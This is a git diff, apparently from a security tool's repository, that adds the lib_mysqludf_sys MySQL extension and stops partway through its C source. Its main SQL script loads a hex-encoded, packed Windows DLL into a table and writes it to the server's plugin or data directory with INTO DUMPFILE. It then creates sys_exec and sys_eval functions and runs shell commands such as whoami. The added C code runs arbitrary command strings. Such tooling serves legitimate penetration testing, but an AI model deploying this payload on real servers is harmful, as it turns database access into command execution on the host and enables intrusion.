+-- * Use upx (http://upx.sourceforge.net) over the DLL: +-- * upx -9 library.dll -o library_upx.dll + + +-- Create a table with one field data-type text +DROP TABLE IF EXISTS udftest; +CREATE TABLE udftest(data blob); + + +-- Insert the hexadecimal encoded UDF in the table +-- +-- DLL compiled using MySQL 5.1.30 C libraries +INSERT INTO udftest(data) VALUE (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad137127e9721f74e9721f74e9721f74e00a8c74eb721f74e00a8a74e8721f74e00a9c74e7721f74e00a9b74eb721f742a7d4274ea721f74e9721e74c0721f74e00a9674e8721f74e00a8d74e8721f74e00a8e74e8721f7452696368e9721f7400000000000000000000000000000000504500004c010300ce2e8e490000000000000000e00002210b010900001000000010000000600000507c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020040010000100000100000000010000010000000000000100000007c830000b8010000b4820000c800000000800000b402000000000000000000000000000000000000348500001000000000000000000000000000000000000000000000000000000000000000000000001c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000); +UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303300555058210d090209285e83bd2629a7f017550000480c000000240000260000eb); +UPDATE udftest SET data=CONCAT(data,0xffcbffff8b442408833800741956578b7c2414b90c00be000010e8f3a566a56edd92ff5fb0015ec332c0c3cc2f0c2ab907fbeddbcf26111c8bf8288b4c24182ca45fc7011e16f7cf0eac5e2ecc5f0175128b4004676430f76e750a2c04c6010155710a1db2d8f3113ca4723f8b484df7efbe021152ff15968083c40485c075084514c365dffeff8bc8568d71018a114184d275f98b54142bce890a4019bb6dba7f4c39026b74186d07b0df4b06688b419974158db6ae9d9d88f3fdc7b61100230c5d37f6df85048b108d44110250899859108d893c19a16b1990173c0611b05b4a68935fe70f464085ed767732740a890aff254aa0c31f6fdb42fb53568b745b1d78734602088b46f6eddb2fd18d5c39010a525157e8300c108b5617d6de65fb02c60407974e5104219d1c76fb36c95342d2c4185357220300ad6cae843f005f5e995bc34f9099c309830c20af0b03a8c35dc242dc0081ec10305bd7f85ba102200033c489842c0d8b0620dcdc373f8c2424538b9c241c07556a01db2038360214893d515397f0fcc7de6dd76863cc5033ff14948bd8538d4c24287063edae3251895c421688debe712b6c435355904c8d5001084084c9cb63bf5d2bc22e8d2c3b55563b848bf054dde6842f528d043eb48c24511334db70d8634f528bfd4d20c4b38b5ebf6d4678105d53189c803eb3c67436c6443b04fbee3eff0063eb038d); +UPDATE udftest SET data=CONCAT(data,0x490068fc6c0d3f777b5f8901205e5bd8e633cc7e0375bceee17481c401c31418f4935f0f0fecad221bc602011e3b0d2275c60cfff602f3c3e90807318bff5668805fb778ffdd7e56c07c5959a3062358045485f67505dbb07be133c040748326004908ff270929098e36d6fde8c70424063b0b5923d2efddbffdff558bec51510a39450c750e39056b107e3cff7337deb51bb37d0cb50910488b096957897c6cdd770a23480f85d47d641718ec797677db6d5135202c893d50bb1e50eb184af0c1febba705f43bc7741768e803a8306a0057aedbdeb02ed63ae7eb07c72c013ca12feddeddf04c6a025e9d096a1f920aa6eb3caa10bcae7deffd04b4c7051f281aa0e027fdfbbeb3075cf120b004ac1b9a59893573a576e32b085939b2f26973dfeebdfb34393d155c741c68062809dc430dd8f65ae1ff751034252316fff1acb919be54ee01dc0801a1db76367b6378d665fc00dfdb0fd4ac3dc944fc83f80266d26dec1b1b595bffa0584b7031fb0e376daf45d70f8487c7195413a5bbb6401e8b141810897d563fb6f5edef043bc87251833f6cf36a74390774e92d3cdbdaff372620f8108907b9f8b8bd599b5615441b474df86bdf1adf900c394d1003d00874b4890902886db76d0c1a0860eba7f60c3d881163564d442e38200bdb5758064c32fc3f5079811d8e4390c9c2e96a1068cd7de37712d8d0d88bd2f28b5d08); +UPDATE udftest SET data=CONCAT(data,0x1c548597ddede433c95cfc897d2008fc3bf15abfdb5a8c393a4417e4f906ea3bf07405db16defd83fe02752ea152dc3bc1749e565fd03b7066e1865ee4000393113bd983fbf1d2141680120ab22735bb61ebfe642464205750135e436cb60e002f52d2061137ecafd153f76a0375434f34871df66c032168742e2c257febe3ad81851b71ec3409aae050516468854be5ac1065e8f62fb65ddb70fad2feff001907032ae4a4ae3dee070b1dc396ec16ff3bf07885d3246a1b5419de5da07d54550c0d05f8595d38b4a1dc8a22e928035f2120e6e6e6cd43051c891518891d14893569b6efe610893d0c668c1838060d2c666996661d0805042558fbee96002d7ffc9c8f14309556ed9f3fdb240704288d4508348b85e0fca05d3b1b63aa7095011c1920c6d8d6b12413180958c0091cb32c9fbb6b608985d8320a04dc57e01bc3031834687edf8f7d9af1ec596af75010e00a20833dd83bac7d2000f923685b1b7c4f9fc0244928c9c380401ef292223b2e5f6a144a13001531e9b190aaf8a29cc6e107bf7359eb676a08a904598fedd61d921b27355934e0f5f31d6e85bf03e4507f4b7c8cad6d5f506efe1cdc142cd6e2c4582a5b09e01b14f46393e525db08dfdc6c0bfe73130ab9d94e1e43f7d81bc0fa36edde0359485d1656b807c8be0457e946c75f503bc6730f8b0753025083c7b3f21c567afe72f13025d0d0f68dd8); +UPDATE udftest SET data=CONCAT(data,0x14cc632f08b84d5a287f57bac466b374045262413c03c18138501bfcfb974575ef33d2b90b011c48180f94b0c29a6209895d7f3fd748b65b81df31c80fb74114a20571063357c5c6d20de908180b76de7db5ffffdf8a0c3bf972098b580803d93bfb720a4283c0283bd672e86a1c0ed933d94e4f6afe9d17705c30d00635640cfc5083c3ad31ccec0823316033c56a7c86d277f064a31a892a46096877843e2c49f0d2094c7574559734cb645f2d1350198c083b41b8f05b2d24c1e81ff709e00183bbedd40a034f170059948be5ebd84e6a969701ca3da3c0fab216ec14972fbb3191b111bacc1e540540fcb8a491444ca312aa10dc9d5c87b1095f14c3a45cb4c7acfbef5400d75cb6d9968e6c038d2be0fafcc11a68cef13ca8fc8a039b0403710dc395707018679651481473e2e3ddcdd86903786851d70ab142efe19c56a30e68f885225b7cf892bf4ee640bb25eea0397866760d85c3255aa39f0a358e04eb60ca78116bed935d388b7598920bae0c32b640f007080c9dfed66e672710b4f4330c113bf77507be4fe0b768ef59eb0b85f30a95c1e0100bf0a1f4b147c200f7d607045e5f5bb43f1919191b5005585c60811d1919646ca4000004c84305038700feff50a1172f4e6f20617267756d656e7473ddffffdf096c6c6f77656420287564663a206c69625f6d7973716c0d5f3f32f7b773085f696e666f293918); +UPDATE udftest SET data=CONCAT(data,0x20766572777fdbfe73696f6e20302e01331f45787065637447657861eddb6f6f076c79201a65207374723f672074791b806d6d6b7572617121722bb065013b7477911f3f1f30f7968672206e4148436f756cdbb6636f246e6f74c463611320186d27a204766e79af660048b5ffffe66e201712c0015253445360a91de01b43b243bdf182720ea1bdf958d103c502633a5c4476476e6efb6edb8a539674b0735c41646d0769bed6fe7f6b938e2e57324b335354454e5550444106336d7bfbf665736b16705c7368c9655c762675be23a1b9ff5f6370705f70726f6af83e6ccb3e65ff5c52656c65617365182e706462c97c2716c8351bc707d0674d259b0ff50707069d92c3bad303e727cc08e3e84ed8810fd81f0a6b037f56a82090209e2b1210008d4516c1beb119bf44ff003400301855ff01162100e9b03c53505c100103c0bf00c7456e7669726f6edbbb2fdb7f5661726961626c6541184743757272145072ecf640fe6f636573734964546805616413d61a001f5469636ba1150dbd01d0fe51756572795003c36d616ef6de5aac37160e184469735937ffcbdf7e4c6962726a7943616c6c73497344656275676765db63ae9572685c96556e684064626f6f6f3164457846707469a146696c4adb52b6c219b4125417c9da0640a0611e11b65bdbbe49906c0c6b409d6d7087656bcd35e747517f77555122b6bb65091b); +UPDATE udftest SET data=CONCAT(data,0x5c537973186d0bafbbd0ee2b41737365094c69ddeef634405f686974396d5f2e5fdffedaf6616d73670878110b646a753a5f666469fbb0f6bb760d5f4370705863b9b65f63721b05ec076164035f686f6f6b4bb800b6f62f636a835f1c75017c01a55f1d735ec16dce0a1f0a6c2164ad58b0adf02a17096e75131346982c0f652f5f3dd65cdbda723456fe6d1c187b0af67db1b7035f706f52296e1064687b2f80ef756c5e6d75a61bdcd696252cb3066ed633b8ed19d82508661167efbd83db5a9ce4790835c7b73773ad32c06e4d0fd76f737bcd950d75667216232e00ffffff1f19274b254920211c2f63183427310c0917251217136517090705160cbffdffff1e080a0b160918181505061b050c10060717062105110f061421110b93efffdb082b2205070d111d0d18532d4838060007d9fead950848330a090b0c0510051616f76fff760e0b34150b18160d3d0542b605121e14066932c7dae67f110c0e1d4d0517230d0c24082400f0a2410be2ff042804f0280104e008041cca0fab7f43d64c010500ce2e8e4938e000642160f902210b01090e6612f6bdc972121710090b021ed27cb3c905070360045bf6deef32f61e40012a0207069fb9dc062703b7013c230f40e7a6cc6c4fb000500227ec40565dc0771cd9d0214207926e59002fac2e746c36d8e66578741a0c900eb74260ddd287602e72647661ab08fb6b); +UPDATE udftest SET data=CONCAT(data,0x0e5bc20a1302402e2649d374dffe032730021c0bd6b84dc04f737235ebb0d10860df731e4f4dc920cdcd5e4f980150223e72fb4d421b242412a052445300000000000000000900ff0000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d870f02000080207f8060287f585054); +UPDATE udftest SET data=CONCAT(data,0x505357ffd558618d4424806a0039c475fa83ec80e9f998ffff00000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300010c02200100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000); +UPDATE udftest SET data=CONCAT(data,0x0000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d); +UPDATE udftest SET data=CONCAT(data,0x6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000ca2e8e49000000003a840000010000000f0000000f000000a4830000e08300001c840000301000004012000000100000501200004012000010120000f01100004012000010120000a010000040120000601000009011000070110000e01000004f84000065840000828400009d840000a6840000b6840000c4840000cd840000); +UPDATE udftest SET data=CONCAT(data,0xdd840000eb840000f3840000028500000f850000178500002685000000000100020003000400050006000700080009000a000b000c000d000e006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e6974000000700000100000005d3c583e5c3e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000); + + +-- Export the hexadecimal encoded UDF to a binary file on the file system +-- +-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0: +-- +-- From MySQL 5.1 and 6.0 official documentation: +-- +-- shared_library_name is the basename of the shared object file +-- that contains the code that implements the function. The file +-- must be located in the plugin directory. This directory is given +-- by the value of the plugin_dir system variable. +-- +-- The DLL must be in can be in C:\Program Files\MySQL\MySQL Server M.m\lib\plugin +-- +-- Note that C:\Program Files\MySQL\MySQL Server M.m\lib\plugin DOES NOT +-- exist by default so it is NOT possible to save the DLL in the proper +-- folder where MySQL server looks for DLLs. +-- +-- References: +-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html +-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html +-- +-- The DLL can be only in C:\Program Files\MySQL\MySQL Server M.n\lib\plugin +-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 5.1 >= 5.1.19 +-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 6.0/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 6.0 +-- +-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19: +-- +-- From MySQL 4.1 and 5.0 official documentation: +-- +-- shared_library_name is the basename of the shared object file +-- that contains the code that implements the function. As of MySQL +-- M.m.m, the file must be located in the plugin directory. This +-- directory is given by the value of the plugin_dir system variable. +-- If the value of plugin_dir is empty, the behavior that is used +-- before M.m.m applies: The file must be located in a directory +-- that is searched by your system's dynamic linker. +-- +-- References: +-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html +-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html +-- +-- The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, +-- C:\WINDOWS\system32, @@basedir\bin or @@datadir (tested on MySQL 4.1.22 +-- and MySQL 5.0.67 with NO plugin_dir set in my.ini configuration file, +-- which is the default setting) +-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 4.1/data/lib_mysqludf_sys.dll'; -- On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file +-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/data/lib_mysqludf_sys.dll'; -- On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file +-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/data/lib_mysqludf_sys.dll'; -- On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file +-- +-- Notes: +-- If the library file already exists, the user SYSTEM does not have access +-- to overwrite it +-- The following enumerates the MySQL data directory +-- SELECT @@datadir +-- The followings will save into @@datadir. It is a valid PATH where MySQL +-- looks for DLL +SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.dll'; +-- The followings will save into @@datadir\mysql where 'mysql' is the +-- database name where it is connected. It is not a valid PATH where MySQL +-- looks for DLL +-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.dll'; +-- SELECT data FROM udftest INTO DUMPFILE '\lib_mysqludf_sys.dll'; +-- The following will save into C:\. It is not a valid PATH where MySQL +-- looks for DLL +-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.dll'; + + +-- Create two functions from the binary UDF file +-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 +-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 +DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 +DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 +CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll'; +CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'; + + +-- Test the two functions +SELECT sys_exec('echo test > %TEMP%/lib_mysqludf_sys.txt'); -- %TEMP% path is C:\WINDOWS\Temp +SELECT sys_eval('echo %TEMP% && whoami'); + + +-- Cleanup the file system and the database +SELECT sys_exec('del %TEMP%/lib_mysqludf_sys.*'); +DROP TABLE IF EXISTS udftest; +-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 +-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 +DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 +DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 diff --git a/extra/mysqludfsys/lib_mysqludf_sys/Makefile b/extra/mysqludfsys/lib_mysqludf_sys/Makefile deleted file mode 100644 index dbeb72923..000000000 --- a/extra/mysqludfsys/lib_mysqludf_sys/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -LIBDIR=/usr/lib - -install: - gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.html b/extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html similarity index 100% rename from extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.html rename to extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html diff --git a/extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.so b/extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.so deleted file mode 100755 index 9d0202eff..000000000 Binary files a/extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.so and /dev/null differ diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile b/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile new file mode 100644 index 000000000..5aaa4b66f --- /dev/null +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile @@ -0,0 +1,6 @@ +LIBDIR=/usr/lib + +install: + gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so + strip -sx so/lib_mysqludf_sys.so + cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/mysqludfsys/lib_mysqludf_sys/install.sh b/extra/mysqludfsys/lib_mysqludf_sys/linux/install.sh similarity index 91% rename from extra/mysqludfsys/lib_mysqludf_sys/install.sh rename to extra/mysqludfsys/lib_mysqludf_sys/linux/install.sh index 963811b6c..64ad271a4 100755 --- a/extra/mysqludfsys/lib_mysqludf_sys/install.sh +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/install.sh @@ -19,11 +19,15 @@ # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +# Adapt the following settings to your environment +PORT="3306" +USER="root" + echo "Compiling the MySQL UDF" make if test $? -ne 0; then - echo "ERROR: You need libmysqlclient development software installed " + echo "ERROR: You need libmysqlclient development software installed" echo "to be able to compile this UDF, on Debian/Ubuntu just run:" echo "apt-get install libmysqlclient15-dev" exit 1 @@ -33,7 +37,7 @@ fi echo -e "\nPlease provide your MySQL root password" -mysql -u root -p mysql < lib_mysqludf_sys.sql +mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql if test $? -ne 0; then echo "ERROR: unable to install the UDF" diff --git a/extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.sql b/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql similarity index 100% rename from extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.sql rename to extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so b/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so new file mode 100755 index 000000000..f46f4e8f5 Binary files /dev/null and b/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so differ diff --git a/extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c similarity index 94% rename from extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.c rename to extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c index f35247342..8f023b412 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.c +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c @@ -415,7 +415,7 @@ char* sys_eval( if (!(*result) || result == NULL) { *is_null = 1; } else { - result[outlen] = 0x00; + result[outlen-1] = 0x00; *length = strlen(result); } diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll b/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll new file mode 100755 index 000000000..26733307b Binary files /dev/null and b/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll differ diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql b/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql new file mode 100644 index 000000000..fa083e54d --- /dev/null +++ b/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql @@ -0,0 +1,33 @@ +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: roland.bouman@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; +DROP FUNCTION IF EXISTS sys_get; +DROP FUNCTION IF EXISTS sys_set; +DROP FUNCTION IF EXISTS sys_exec; +DROP FUNCTION IF EXISTS sys_eval; + +CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll'; +CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll'; +CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll'; +CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll'; +CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'; diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c b/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c new file mode 100644 index 000000000..8f023b412 --- /dev/null +++ b/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c @@ -0,0 +1,426 @@ +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: mysqludfs@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define DLLEXP __declspec(dllexport) +#else +#define DLLEXP +#endif + +#ifdef STANDARD +#include <string.h> +#include <stdlib.h> +#include <time.h> +#ifdef __WIN__ +typedef unsigned __int64 ulonglong; +typedef __int64 longlong; +#else +typedef unsigned long long ulonglong; +typedef long long longlong; +#endif /*__WIN__*/ +#else +#include <my_global.h> +#include <my_sys.h> +#endif +#include <mysql.h> +#include <m_ctype.h> +#include <m_string.h> +#include <stdlib.h> + +#include <ctype.h> + +#ifdef HAVE_DLOPEN +#ifdef __cplusplus +extern "C" { +#endif + +#define LIBVERSION "lib_mysqludf_sys version 0.0.3" + +#ifdef __WIN__ +#define SETENV(name,value) SetEnvironmentVariable(name,value); +#else +#define SETENV(name,value) setenv(name,value,1); +#endif + +DLLEXP +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +); + +DLLEXP +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_get + * + * Gets the value of the specified environment variable. + */ +DLLEXP +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_get_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_set + * + * Sets the value of the environment variables. + * This function accepts a set of name/value pairs + * which are then set as environment variables. + * Use sys_get to retrieve the value of such a variable + */ +DLLEXP +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_set_deinit( + UDF_INIT *initid +); + +DLLEXP +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_exec + * + * executes the argument commandstring and returns its exit status. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_exec_deinit( + UDF_INIT *initid +); + +DLLEXP +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_eval + * + * executes the argument commandstring and returns its standard output. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_eval_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + + +#ifdef __cplusplus +} +#endif + +/** + * lib_mysqludf_sys_info + */ +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + my_bool status; + if(args->arg_count!=0){ + strcpy( + message + , "No arguments allowed (udf: lib_mysqludf_sys_info)" + ); + status = 1; + } else { + status = 0; + } + return status; +} +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +){ +} +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, 